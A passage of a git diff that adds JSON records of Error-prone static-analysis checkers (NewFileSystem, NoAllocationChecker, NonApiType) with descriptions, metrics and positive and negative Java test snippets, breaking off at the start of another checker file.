(objectA instanceof DisjointClass) {\n System.out.println(\"boo\");\n } else if (objectA instanceof String) {\n System.out.println(\"aww\");\n }\n\n if (objectA instanceof SuperClass) {\n objectA = \"yay\";\n if (objectA instanceof String) {\n System.out.println();\n }\n }\n\n if (objectA instanceof SuperClass) {\n if (objectA instanceof String) {\n objectA = \"yay\";\n }\n }\n\n List ls = new ArrayList();\n ls.add(\"hi\");\n\n // even though this could potentially be an error, ls.get(0) can be altered in many ways in\n // between the two instanceof statements, therefore we do not match this case\n if (ls.get(0) instanceof String) {\n if (ls.get(0) instanceof SuperClass) {\n System.out.println(\"lol\");\n }\n }\n }\n\n /** test class */\n public static class SuperClass {}\n ;\n\n /** test class */\n public static class SubClass extends SuperClass {}\n ;\n\n /** test class */\n public static class DisjointClass {}\n ;\n}\\" + }, + { + "description": "patternMatchingInstanceof", + "expected-problems": null, + "expected-linenumbers": [ + 218 + ], + "code": "public class Test {\n record Struct(Object a) {}\n\n public void test(Object x, Object y) {\n if (x instanceof Struct(Integer a1)) {\n if (y instanceof Struct(Integer a2)) {}\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NewFileSystem.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NewFileSystem.json new file mode 100644 index 0000000..b3040af --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NewFileSystem.json @@ -0,0 +1,30 @@ +{ + "name": "NewFileSystem", + "language": "java", + "description": "Starting in JDK 13, this call is ambiguous with FileSystem.newFileSystem(Path,Map)", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 49, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "import java.nio.file.FileSystems;\n import java.nio.file.Paths;\n import java.io.IOException;\n\n class Test {\n void f() throws IOException {\n FileSystems.newFileSystem(Paths.get(\".\"), null);\n }\n }\n \n\n import java.nio.file.FileSystems;\n import java.nio.file.Paths;\n import java.io.IOException;\n\n class Test {\n void f() throws IOException {\n FileSystems.newFileSystem(Paths.get(\".\"), (ClassLoader) null);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 69 + ], + "code": "import java.nio.file.FileSystems;\n import java.nio.file.Paths;\n import java.io.IOException;\n\n class Test {\n void f() throws IOException {\n FileSystems.newFileSystem(Paths.get(\".\"), (ClassLoader) null);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NoAllocationChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NoAllocationChecker.json new file mode 100644 index 0000000..670e107 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NoAllocationChecker.json @@ -0,0 +1,30 @@ +{ + "name": "NoAllocationChecker", + "language": "java", + "description": "@NoAllocation was specified on this method, but something was found that would trigger an allocation", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 461, + "branches": 30, + "apis": 2, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import com.google.errorprone.annotations.NoAllocation;\n\n /**\n * @author agoode@google.com (Adam Goode)\n */\n public class NoAllocationCheckerPositiveCases {\n // Trigger on new array.\n @NoAllocation\n public int[] newArray(int size) {\n // BUG: Diagnostic contains: @NoAllocation\n // Allocating a new array\n return new int[size];\n }\n\n @NoAllocation\n public int[] arrayInitializer(int a, int b) {\n // BUG: Diagnostic contains: @NoAllocation\n // Allocating a new array\n int[] array = {a, b};\n return array;\n }\n\n @NoAllocation\n public int[] returnArrayInitializer(int a, int b) {\n // BUG: Diagnostic contains: @NoAllocation\n // Allocating a new array\n return new int[] {a, b};\n }\n\n // Trigger on new.\n @NoAllocation\n public String newString(String s) {\n // BUG: Diagnostic contains: @NoAllocation\n // Constructing\n return new String(s);\n }\n\n // Trigger calling a method that does allocation.\n public String allocateString() {\n return new String();\n }\n\n @NoAllocation\n public String getString() {\n // BUG: Diagnostic contains: @NoAllocation\n // Calling a method\n return allocateString();\n }\n\n // Trigger on string conversion.\n @NoAllocation\n public int getInt() {\n return 1;\n }\n\n @NoAllocation\n public String stringConvReturn(int i) {\n // BUG: Diagnostic contains: @NoAllocation\n // String concatenation\n return \"\" + i;\n }\n\n @NoAllocation\n public String stringConvAssign(int i) {\n // BUG: Diagnostic contains: @NoAllocation\n // String concatenation\n String s = \"\" + i;\n return s;\n }\n\n @NoAllocation\n public String stringConvAssign2(int i) {\n String s = \"\";\n // BUG: Diagnostic contains: @NoAllocation\n // String concatenation\n s = s + i;\n return s;\n }\n\n @NoAllocation\n public String stringConvAssign3(int i) {\n String s = \"\";\n // BUG: Diagnostic contains: @NoAllocation\n // String concatenation\n s = i + s;\n return s;\n }\n\n @NoAllocation\n public String stringConvReturnMethod() {\n // BUG: Diagnostic contains: @NoAllocation\n // String concatenation\n String s = \"\" + getInt();\n return s;\n }\n\n @NoAllocation\n public String stringConvCompoundAssign(int i) {\n String s = \"\";\n // BUG: Diagnostic contains: @NoAllocation\n // Compound assignment\n s += i;\n return s;\n }\n\n @NoAllocation\n public String stringConvCompoundReturnMethod() {\n String s = \"\";\n // BUG: Diagnostic contains: @NoAllocation\n // Compound assignment\n s += getInt();\n return s;\n }\n\n // Trigger on string concatenation.\n @NoAllocation\n public String doubleString(String s) {\n // BUG: Diagnostic contains: @NoAllocation\n // String concatenation\n return s + s;\n }\n\n @NoAllocation\n public String doubleStringCompound(String s) {\n // BUG: Diagnostic contains: @NoAllocation\n // Compound assignment\n s += s;\n return s;\n }\n\n // Trigger on foreach with non-array.\n @NoAllocation\n public int iteration(Iterable a) {\n int result = 0;\n // BUG: Diagnostic contains: @NoAllocation\n // Iterating\n for (Object o : a) {\n result++;\n }\n return result;\n }\n\n // Trigger on autoboxing.\n @NoAllocation\n public Integer assignBox(int i) {\n Integer in;\n // BUG: Diagnostic contains: @NoAllocation\n // Assigning a primitive value\n in = i;\n return in;\n }\n\n @NoAllocation\n public Integer initializeBox(int i) {\n // BUG: Diagnostic contains: @NoAllocation\n // Initializing a non-primitive\n Integer in = i;\n return in;\n }\n\n @NoAllocation\n public Integer initializeBoxLiteral() {\n // BUG: Diagnostic contains: @NoAllocation\n // Initializing a non-primitive\n Integer in = 0;\n return in;\n }\n\n @NoAllocation\n public int castBox(int i) {\n // BUG: Diagnostic contains: @NoAllocation\n // Casting a primitive\n int in = (Integer) i;\n return in;\n }\n\n @NoAllocation\n public Integer returnBox(int i) {\n // BUG: Diagnostic contains: @NoAllocation\n // Returning a primitive\n return i;\n }\n\n @NoAllocation\n public int unBox(Integer i) {\n return i;\n }\n\n @NoAllocation\n public void callBox(int i) {\n // BUG: Diagnostic contains: @NoAllocation\n // Calling a method\n unBox(i);\n }\n\n @NoAllocation\n public int unBox2(int i1, Integer i2) {\n return i2;\n }\n\n @NoAllocation\n public void callBox2(int i1, int i2) {\n // BUG: Diagnostic contains: @NoAllocation\n // Calling a method\n unBox2(i1, i2);\n }\n\n @NoAllocation\n public int unBox3(Integer i1, int i2) {\n return i1;\n }\n\n @NoAllocation\n public void callBox3(int i1, int i2) {\n // BUG: Diagnostic contains: @NoAllocation\n // Calling a method\n unBox3(i1, i2);\n }\n\n @NoAllocation\n public int varArgsMethod(int a, int... b) {\n return a + b[0];\n }\n\n @NoAllocation\n public void callVarArgs0() {\n // BUG: Diagnostic contains: @NoAllocation\n // Calling a method\n varArgsMethod(0);\n }\n\n @NoAllocation\n public void callVarArgs() {\n // BUG: Diagnostic contains: @NoAllocation\n // Calling a method\n varArgsMethod(1, 2);\n }\n\n @NoAllocation\n public void callVarArgs2() {\n // BUG: Diagnostic contains: @NoAllocation\n // Calling a method\n varArgsMethod(1, 2, 3);\n }\n\n @NoAllocation\n public Object varArgsMethodObject(Object a, Object... b) {\n return b[0];\n }\n\n @NoAllocation\n public void callVarArgsObject(Object a, Object[] b) {\n // BUG: Diagnostic contains: @NoAllocation\n // Calling a method\n varArgsMethodObject(a, b[0]);\n }\n\n @NoAllocation\n public void callVarArgsObjectWithPrimitiveArray(Object a, int[] b) {\n // BUG: Diagnostic contains: @NoAllocation\n // Calling a method\n varArgsMethodObject(a, b);\n }\n\n @NoAllocation\n public int forBox(int[] a) {\n int count = 0;\n // BUG: Diagnostic contains: @NoAllocation\n // Pre- and post- increment/decrement\n for (Integer i = 0; i < a.length; i++) {\n count++;\n }\n return count;\n }\n\n @NoAllocation\n public void arrayBox(Integer[] a, int i) {\n // BUG: Diagnostic contains: @NoAllocation\n // Assigning a primitive value\n a[0] = i;\n }\n\n @NoAllocation\n public int preIncrementBox(Integer i) {\n // BUG: Diagnostic contains: @NoAllocation\n // Pre- and post- increment/decrement\n ++i;\n return i;\n }\n\n @NoAllocation\n public int postIncrementBox(Integer i) {\n // BUG: Diagnostic contains: @NoAllocation\n // Pre- and post- increment/decrement\n i++;\n return i;\n }\n\n @NoAllocation\n public int preDecrementBox(Integer i) {\n // BUG: Diagnostic contains: @NoAllocation\n // Pre- and post- increment/decrement\n --i;\n return i;\n }\n\n @NoAllocation\n public int postDecrementBox(Integer i) {\n // BUG: Diagnostic contains: @NoAllocation\n // Pre- and post- increment/decrement\n i--;\n return i;\n }\n\n @NoAllocation\n public int forEachBox(int[] a) {\n int last = -1;\n // BUG: Diagnostic contains: @NoAllocation\n // Iterating\n for (Integer i : a) {\n last = i;\n }\n return last;\n }\n\n @NoAllocation\n public void arrayPreIncrementBox(Integer[] a) {\n // BUG: Diagnostic contains: @NoAllocation\n // Pre- and post- increment/decrement\n ++a[0];\n }\n\n @NoAllocation\n public void arrayPostIncrementBox(Integer[] a) {\n // BUG: Diagnostic contains: @NoAllocation\n // Pre- and post- increment/decrement\n a[0]++;\n }\n\n @NoAllocation\n public void arrayPreDecrementBox(Integer[] a) {\n // BUG: Diagnostic contains: @NoAllocation\n // Pre- and post- increment/decrement\n --a[0];\n }\n\n @NoAllocation\n public void arrayPostDecrementBox(Integer[] a) {\n // BUG: Diagnostic contains: @NoAllocation\n // Pre- and post- increment/decrement\n a[0]--;\n }\n\n @NoAllocation\n public int compoundBox(Integer a, int b) {\n // BUG: Diagnostic contains: @NoAllocation\n // Compound assignment\n a += b;\n return a;\n }\n\n @NoAllocation\n public void arrayCompoundBox(Integer[] a, int b) {\n // BUG: Diagnostic contains: @NoAllocation\n // Compound assignment\n a[0] += b;\n }\n\n @NoAllocation\n public void andAssignmentBox(Integer i1, Integer i2) {\n // BUG: Diagnostic contains: @NoAllocation\n // Compound assignment\n i1 &= i2;\n }\n\n @NoAllocation\n public void divideAssignmentBox(Integer i1, Integer i2) {\n // BUG: Diagnostic contains: @NoAllocation\n // Compound assignment\n i1 /= i2;\n }\n\n @NoAllocation\n public void leftShiftAssignmentBox(Integer i1, Integer i2) {\n // BUG: Diagnostic contains: @NoAllocation\n // Compound assignment\n i1 <<= i2;\n }\n\n @NoAllocation\n public void minusAssignmentBox(Integer i1, Integer i2) {\n // BUG: Diagnostic contains: @NoAllocation\n // Compound assignment\n i1 -= i2;\n }\n\n @NoAllocation\n public void multiplyAssignmentBox(Integer i1, Integer i2) {\n // BUG: Diagnostic contains: @NoAllocation\n // Compound assignment\n i1 *= i2;\n }\n\n @NoAllocation\n public void orAssignmentBox(Integer i1, Integer i2) {\n // BUG: Diagnostic contains: @NoAllocation\n // Compound assignment\n i1 |= i2;\n }\n\n @NoAllocation\n public void plusAssignmentBox(Integer i1, Integer i2) {\n // BUG: Diagnostic contains: @NoAllocation\n // Compound assignment\n i1 += i2;\n }\n\n @NoAllocation\n public void remainderAssignmentBox(Integer i1, Integer i2) {\n // BUG: Diagnostic contains: @NoAllocation\n // Compound assignment\n i1 %= i2;\n }\n\n @NoAllocation\n public void rightShiftAssignmentBox(Integer i1, Integer i2) {\n // BUG: Diagnostic contains: @NoAllocation\n // Compound assignment\n i1 >>= i2;\n }\n\n @NoAllocation\n public void unsignedRightShiftAssignmentBox(Integer i1, Integer i2) {\n // BUG: Diagnostic contains: @NoAllocation\n // Compound assignment\n i1 >>>= i2;\n }\n\n @NoAllocation\n public void xorAssignmentBox(Integer i1, Integer i2) {\n // BUG: Diagnostic contains: @NoAllocation\n // Compound assignment\n i1 ^= i2;\n }\n\n // Cloning is right out.\n @NoAllocation\n public Object doClone() throws CloneNotSupportedException {\n // BUG: Diagnostic contains: @NoAllocation\n // Calling a method\n return clone();\n }\n\n // Throwing doesn't exempt through method declarations.\n @NoAllocation\n public String throwForeach(final Iterable a) {\n throw new RuntimeException() {\n @NoAllocation\n private void f() {\n // BUG: Diagnostic contains: @NoAllocation\n // Iterating\n for (Object o : a) {\n // BUG: Diagnostic contains: @NoAllocation\n // Calling a method\n a.toString();\n }\n }\n };\n }\n\n public interface NoAllocationInterface {\n @NoAllocation\n void method();\n }\n\n public static class NoAllocationImplementingClass implements NoAllocationInterface {\n @Override\n // BUG: Diagnostic contains: @NoAllocation\n public void method() {}\n }\n\n public abstract static class NoAllocationAbstractClass {\n @NoAllocation\n abstract void method();\n }\n\n public static class NoAllocationConcreteClass extends NoAllocationAbstractClass {\n @Override\n // BUG: Diagnostic contains: @NoAllocation\n void method() {}\n }\n\n public static class NoAllocationParentClass implements NoAllocationInterface {\n @Override\n @NoAllocation\n public void method() {}\n }\n\n public static class NoAllocationSubclass extends NoAllocationParentClass {\n @Override\n // BUG: Diagnostic contains: @NoAllocation\n public void method() {}\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 549 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport com.google.errorprone.annotations.NoAllocation;\nimport java.util.Arrays;\n\n/**\n * @author agoode@google.com (Adam Goode)\n */\npublic class NoAllocationCheckerNegativeCases {\n // Calling safe methods is fine.\n @NoAllocation\n public boolean comparison(int n) {\n return n > 1;\n }\n\n @NoAllocation\n public void callNoAllocationMethod() {\n comparison(5);\n }\n\n @NoAllocation\n @SuppressWarnings({\"foo, bar\"})\n public void annotatedWithArray() {}\n\n @NoAllocation\n public boolean arrayComparison(int[] a) {\n return a.length > 0 && a[0] > 1;\n }\n\n // Non string operations are fine.\n @NoAllocation\n public int sumInts(int a, int b) {\n return a + b;\n }\n\n @NoAllocation\n public int addOne(int a) {\n a += 1;\n return a;\n }\n\n // Foreach is allowed on arrays.\n @NoAllocation\n public int forEachArray(int[] a) {\n int last = -1;\n for (int i : a) {\n last = i;\n }\n return last;\n }\n\n // Varargs is ok if no autoboxing occurs.\n @NoAllocation\n public int varArgsMethod2(int a, int... b) {\n return a + b[0];\n }\n\n @NoAllocation\n public void callVarArgsNoAllocation(int[] b) {\n varArgsMethod2(1, b);\n }\n\n @NoAllocation\n public Object varArgsMethodObject2(Object a, Object... b) {\n return b[0];\n }\n\n @NoAllocation\n public void callVarArgsObject2(Object a, Object[] b) {\n varArgsMethodObject2(a, b);\n }\n\n // Unboxing is fine.\n @NoAllocation\n public void unboxByCalling(Integer i) {\n comparison(i);\n }\n\n @NoAllocation\n public int binaryUnbox(Integer a, int b) {\n return a + b;\n }\n\n // We can call a non-annotated method if we suppress warnings.\n @NoAllocation\n @SuppressWarnings(\"NoAllocation\")\n public void trustMe() {\n String s = new String();\n }\n\n @NoAllocation\n public void trusting() {\n trustMe();\n }\n\n // Allocations are allowed in a throw statement.\n @NoAllocation\n public void throwNew() {\n throw new RuntimeException();\n }\n\n @NoAllocation\n public void throwNewArray() {\n throw new RuntimeException(Arrays.toString(new int[10]));\n }\n\n @NoAllocation\n public void throwMethod() {\n throw new RuntimeException(Integer.toString(5));\n }\n\n @NoAllocation\n public void throwStringConcatenation() {\n throw new RuntimeException(\"a\" + 5);\n }\n\n @NoAllocation\n public void throwStringConcatenation2() {\n throw new RuntimeException(\"a\" + Integer.toString(5));\n }\n\n @NoAllocation\n public void throwStringConcatenation3() {\n throw new RuntimeException(\"a\" + getInt());\n }\n\n @NoAllocation\n public String throwStringConvCompoundAssign(int i) {\n String s = \"\";\n throw new RuntimeException(s += i);\n }\n\n class IntegerException extends RuntimeException {\n public IntegerException(Integer i) {\n super(i.toString());\n }\n }\n\n @NoAllocation\n public String throwBoxingCompoundAssign(Integer in, int i) {\n throw new IntegerException(in += i);\n }\n\n @NoAllocation\n public String throwBoxingAssign(Integer in, int i) {\n throw new IntegerException(in = i);\n }\n\n @NoAllocation\n public String throwBoxingInitialization(final int i) {\n throw new RuntimeException() {\n Integer in = i;\n };\n }\n\n @NoAllocation\n public String throwBoxingCast(int i) {\n throw new IntegerException((Integer) i);\n }\n\n @NoAllocation\n public String throwBoxingInvocation(int i) {\n throw new IntegerException(i);\n }\n\n class VarArgsException extends RuntimeException {\n public VarArgsException(int... ints) {\n super(Arrays.toString(ints));\n }\n }\n\n @NoAllocation\n public String throwBoxingVarArgs(int i) {\n throw new VarArgsException(i, i, i, 4);\n }\n\n @NoAllocation\n public String throwBoxingUnary(Integer i) {\n throw new IntegerException(i++);\n }\n\n @NoAllocation\n public void callGenericMethod() {\n String foo = \"foo\";\n String bar = genericMethod(foo);\n }\n\n @NoAllocation\n private static T genericMethod(T value) {\n return value;\n }\n\n // All of the positive cases with @NoAllocation removed are below.\n public int[] newArray(int size) {\n return new int[size];\n }\n\n public int[] arrayInitializer(int a, int b) {\n int[] array = {a, b};\n return array;\n }\n\n public int[] returnArrayInitializer(int a, int b) {\n return new int[] {a, b};\n }\n\n public String newString(String s) {\n return new String(s);\n }\n\n public String allocateString() {\n return new String();\n }\n\n public String getString() {\n return allocateString();\n }\n\n public int getInt() {\n return 1;\n }\n\n public String stringConvReturn(int i) {\n return \"\" + i;\n }\n\n public String stringConvAssign(int i) {\n String s = \"\" + i;\n return s;\n }\n\n public String stringConvAssign2(int i) {\n String s = \"\";\n s = s + i;\n return s;\n }\n\n public String stringConvAssign3(int i) {\n String s = \"\";\n s = i + s;\n return s;\n }\n\n public String stringConvReturnMethod() {\n String s = \"\" + getInt();\n return s;\n }\n\n public String stringConvCompoundAssign(int i) {\n String s = \"\";\n s += i;\n return s;\n }\n\n public String stringConvCompoundReturnMethod() {\n String s = \"\";\n s += getInt();\n return s;\n }\n\n public String doubleString(String s) {\n return s + s;\n }\n\n public String doubleStringCompound(String s) {\n s += s;\n return s;\n }\n\n public int iteration(Iterable a) {\n int result = 0;\n for (Object o : a) {\n result++;\n }\n return result;\n }\n\n public Integer assignBox(int i) {\n Integer in;\n in = i;\n return in;\n }\n\n public Integer initializeBox(int i) {\n Integer in = i;\n return in;\n }\n\n public Integer initializeBoxLiteral() {\n Integer in = 0;\n return in;\n }\n\n public int castBox(int i) {\n int in = (Integer) i;\n return in;\n }\n\n public Integer returnBox(int i) {\n return i;\n }\n\n public int unBox(Integer i) {\n return i;\n }\n\n public void callBox(int i) {\n unBox(i);\n }\n\n public int unBox2(int i1, Integer i2) {\n return i2;\n }\n\n public void callBox2(int i1, int i2) {\n unBox2(i1, i2);\n }\n\n public int unBox3(Integer i1, int i2) {\n return i1;\n }\n\n public void callBox3(int i1, int i2) {\n unBox3(i1, i2);\n }\n\n public int varArgsMethod(int a, int... b) {\n return a + b[0];\n }\n\n public void callVarArgs0() {\n varArgsMethod(0);\n }\n\n public void callVarArgs() {\n varArgsMethod(1, 2);\n }\n\n public void callVarArgs2() {\n varArgsMethod(1, 2, 3);\n }\n\n public Object varArgsMethodObject(Object a, Object... b) {\n return b[0];\n }\n\n public void callVarArgsObject(Object a, Object[] b) {\n varArgsMethodObject(a, b[0]);\n }\n\n public void callVarArgsObjectWithPrimitiveArray(Object a, int[] b) {\n varArgsMethodObject(a, b);\n }\n\n public int forBox(int[] a) {\n int count = 0;\n for (Integer i = 0; i < a.length; i++) {\n count++;\n }\n return count;\n }\n\n public void arrayBox(Integer[] a, int i) {\n a[0] = i;\n }\n\n public int preIncrementBox(Integer i) {\n ++i;\n return i;\n }\n\n public int postIncrementBox(Integer i) {\n i++;\n return i;\n }\n\n public int preDecrementBox(Integer i) {\n --i;\n return i;\n }\n\n public int postDecrementBox(Integer i) {\n i--;\n return i;\n }\n\n public int forEachBox(int[] a) {\n int last = -1;\n for (Integer i : a) {\n last = i;\n }\n return last;\n }\n\n public void arrayPreIncrementBox(Integer[] a) {\n ++a[0];\n }\n\n public void arrayPostIncrementBox(Integer[] a) {\n a[0]++;\n }\n\n public void arrayPreDecrementBox(Integer[] a) {\n --a[0];\n }\n\n public void arrayPostDecrementBox(Integer[] a) {\n a[0]--;\n }\n\n public int compoundBox(Integer a, int b) {\n a += b;\n return a;\n }\n\n public void arrayCompoundBox(Integer[] a, int b) {\n a[0] += b;\n }\n\n public void andAssignmentBox(Integer i1, Integer i2) {\n i1 &= i2;\n }\n\n public void divideAssignmentBox(Integer i1, Integer i2) {\n i1 /= i2;\n }\n\n public void leftShiftAssignmentBox(Integer i1, Integer i2) {\n i1 <<= i2;\n }\n\n public void minusAssignmentBox(Integer i1, Integer i2) {\n i1 -= i2;\n }\n\n public void multiplyAssignmentBox(Integer i1, Integer i2) {\n i1 *= i2;\n }\n\n public void orAssignmentBox(Integer i1, Integer i2) {\n i1 |= i2;\n }\n\n public void plusAssignmentBox(Integer i1, Integer i2) {\n i1 += i2;\n }\n\n public void remainderAssignmentBox(Integer i1, Integer i2) {\n i1 %= i2;\n }\n\n public void rightShiftAssignmentBox(Integer i1, Integer i2) {\n i1 >>= i2;\n }\n\n public void unsignedRightShiftAssignmentBox(Integer i1, Integer i2) {\n i1 >>>= i2;\n }\n\n public void xorAssignmentBox(Integer i1, Integer i2) {\n i1 ^= i2;\n }\n\n public Object doClone() throws CloneNotSupportedException {\n return clone();\n }\n\n @NoAllocation\n public String throwForeach(final Iterable a) {\n throw new RuntimeException() {\n private void f() {\n for (Object o : a) {\n a.toString();\n }\n }\n };\n }\n\n public interface NoAllocationInterface {\n @NoAllocation\n void method();\n }\n\n public static class NoAllocationImplementingClass implements NoAllocationInterface {\n @Override\n @NoAllocation\n public void method() {}\n }\n\n public static class NoAllocationImplementingClassWithSuppression\n implements NoAllocationInterface {\n @Override\n @SuppressWarnings(\"NoAllocation\")\n public void method() {}\n }\n\n public abstract static class NoAllocationAbstractClass {\n @NoAllocation\n abstract void method();\n }\n\n public static class NoAllocationConcreteClass extends NoAllocationAbstractClass {\n @Override\n @NoAllocation\n void method() {}\n }\n\n public static class NoAllocationConcreteClassWithSuppression extends NoAllocationAbstractClass {\n @Override\n @SuppressWarnings(\"NoAllocation\")\n void method() {}\n }\n\n public static class NoAllocationParentClass implements NoAllocationInterface {\n @Override\n @NoAllocation\n public void method() {}\n }\n\n public static class NoAllocationSubclass extends NoAllocationParentClass {\n @Override\n @NoAllocation\n public void method() {}\n }\n\n public static class NoAllocationSubclassWithSuppression extends NoAllocationParentClass {\n @Override\n @SuppressWarnings(\"NoAllocation\")\n public void method() {}\n }\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonApiType.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonApiType.json new file mode 100644 index 0000000..a873126 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonApiType.json @@ -0,0 +1,166 @@ +{ + "name": "NonApiType", + "language": "java", + "description": "Certain types should not be passed across API boundaries.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 276, + "branches": 14, + "apis": 9, + "test": [ + { + "description": "listImplementations", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "public class Test {\n // BUG: Diagnostic contains: java.util.List\n private void test1(java.util.ArrayList value) {}\n\n // BUG: Diagnostic contains: java.util.List\n private void test1(java.util.LinkedList value) {}\n }" + }, + { + "description": "protoListImplementations", + "expected-problems": null, + "expected-linenumbers": [ + 52 + ], + "code": "public class Test {\n // BUG: Diagnostic contains: java.util.List\n private void test1(com.google.protobuf.ProtocolStringList value) {}\n\n // BUG: Diagnostic contains: java.util.List\n private void test1(com.google.protobuf.LazyStringList value) {}\n\n // BUG: Diagnostic contains: java.util.List\n private void test1(com.google.protobuf.LazyStringArrayList value) {}\n }" + }, + { + "description": "setImplementations", + "expected-problems": null, + "expected-linenumbers": [ + 72 + ], + "code": "public class Test {\n // BUG: Diagnostic contains: java.util.Set\n private void test1(java.util.HashSet value) {}\n\n // BUG: Diagnostic contains: java.util.Set\n private void test1(java.util.LinkedHashSet value) {}\n\n // BUG: Diagnostic contains: java.util.Set\n private void test1(java.util.TreeSet value) {}\n }" + }, + { + "description": "mapImplementations", + "expected-problems": null, + "expected-linenumbers": [ + 92 + ], + "code": "public class Test {\n // BUG: Diagnostic contains: java.util.Map\n private void test1(java.util.HashMap value) {}\n\n // BUG: Diagnostic contains: java.util.Map\n private void test1(java.util.LinkedHashMap value) {}\n\n // BUG: Diagnostic contains: java.util.Map\n private void test1(java.util.TreeMap value) {}\n }" + }, + { + "description": "guavaOptionals", + "expected-problems": null, + "expected-linenumbers": [ + 112 + ], + "code": "import com.google.common.base.Optional;\n\n public class Test {\n // BUG: Diagnostic contains: java.util.Optional\n public Optional middleName() {\n return Optional.of(\"alfred\");\n }\n\n // BUG: Diagnostic contains: java.util.Optional\n public void setMiddleName(Optional middleName) {}\n }" + }, + { + "description": "jdkOptionals", + "expected-problems": null, + "expected-linenumbers": [ + 133 + ], + "code": "import java.util.Optional;\n\n public class Test {\n public Optional middleName() {\n return Optional.of(\"alfred\");\n }\n\n // BUG: Diagnostic contains: Avoid Optional parameters\n public void setMiddleName(Optional middleName) {}\n }" + }, + { + "description": "immutableFoos", + "expected-problems": null, + "expected-linenumbers": [ + 153 + ], + "code": "" + }, + { + "description": "primitiveArrays", + "expected-problems": null, + "expected-linenumbers": [ + 181 + ], + "code": "public class Test {\n // BUG: Diagnostic contains: ImmutableIntArray\n public int[] testInts() {\n return null;\n }\n\n // BUG: Diagnostic contains: ImmutableDoubleArray\n public void testDoubles1(double[] values) {}\n\n // BUG: Diagnostic contains: ImmutableDoubleArray\n public void testDoubles2(Double[] values) {}\n }" + }, + { + "description": "protoTime", + "expected-problems": null, + "expected-linenumbers": [ + 203 + ], + "code": "import com.google.protobuf.Duration;\n import com.google.protobuf.Timestamp;\n\n public class Test {\n // BUG: Diagnostic contains: java.time.Duration\n public Duration test() {\n return null;\n }\n\n // BUG: Diagnostic contains: java.time.Instant\n public void test(Timestamp timestamp) {}\n }" + }, + { + "description": "varargs", + "expected-problems": null, + "expected-linenumbers": [ + 225 + ], + "code": "" + }, + { + "description": "typeArguments", + "expected-problems": null, + "expected-linenumbers": [ + 238 + ], + "code": "import com.google.protobuf.Timestamp;\n import java.util.List;\n import java.util.Map;\n\n public class Test {\n // BUG: Diagnostic contains: java.time.Instant\n public void test1(List timestamps) {}\n\n // BUG: Diagnostic contains: java.time.Instant\n public void test2(List> timestamps) {}\n }" + }, + { + "description": "nonPublicApisInPublicClassAreNotFlagged", + "expected-problems": null, + "expected-linenumbers": [ + 259 + ], + "code": "import com.google.protobuf.Timestamp;\n\n public class Test {\n void test1(Timestamp timestamp) {}\n\n protected void test2(Timestamp timestamp) {}\n\n private void test3(Timestamp timestamp) {}\n }" + }, + { + "description": "publicApisInNonPublicClassAreNotFlagged", + "expected-problems": null, + "expected-linenumbers": [ + 278 + ], + "code": "import com.google.protobuf.Timestamp;\n\n class Test {\n public void test1(Timestamp timestamp) {}\n }" + }, + { + "description": "normalApisAreNotFlagged", + "expected-problems": null, + "expected-linenumbers": [ + 293 + ], + "code": "public class Test {\n public Test(int a) {}\n\n public int doSomething() {\n return 42;\n }\n\n public void doSomething(int a) {}\n }" + }, + { + "description": "streams", + "expected-problems": null, + "expected-linenumbers": [ + 312 + ], + "code": "import java.util.stream.Stream;\n\n public class Test {\n // BUG: Diagnostic contains: NonApiType\n public Test(Stream iterator) {}\n\n // BUG: Diagnostic contains: NonApiType\n public void methodParam(Stream iterator) {}\n }" + }, + { + "description": "iterators", + "expected-problems": null, + "expected-linenumbers": [ + 331 + ], + "code": "import java.util.Iterator;\n\n public class Test {\n // BUG: Diagnostic contains: NonApiType\n public Iterator returnType() {\n return null;\n }\n }" + }, + { + "description": "recordConstructorParameters_notFlagged", + "expected-problems": null, + "expected-linenumbers": [ + 349 + ], + "code": "import java.util.ArrayList;\n import java.util.List;\n\n public record Record(String a) {\n public Record(ArrayList a) {\n this(a.get(0));\n }\n }" + }, + { + "description": "recordCompactConstructor_notFlagged", + "expected-problems": null, + "expected-linenumbers": [ + 369 + ], + "code": "import static com.google.common.base.Preconditions.checkArgument;\n import com.google.common.collect.ImmutableSet;\n\n public class Test {\n public record RecordWithImmutableSet(ImmutableSet ids) {\n public RecordWithImmutableSet {\n ids.forEach(id -> checkArgument(!id.isBlank()));\n }\n }\n }" + }, + { + "description": "guiceModules", + "expected-problems": null, + "expected-linenumbers": [ + 389 + ], + "code": "import com.google.inject.AbstractModule;\n import com.google.inject.Module;\n\n public class Test extends AbstractModule {\n // BUG: Diagnostic contains: NonApiType\n public AbstractModule test() {\n return new AbstractModule() {};\n }\n\n // Exact type, no finding.\n public Test test2() {\n return new Test();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonAtomicVolatileUpdate.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonAtomicVolatileUpdate.json new file mode 100644 index 0000000..ff57362 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonAtomicVolatileUpdate.json @@ -0,0 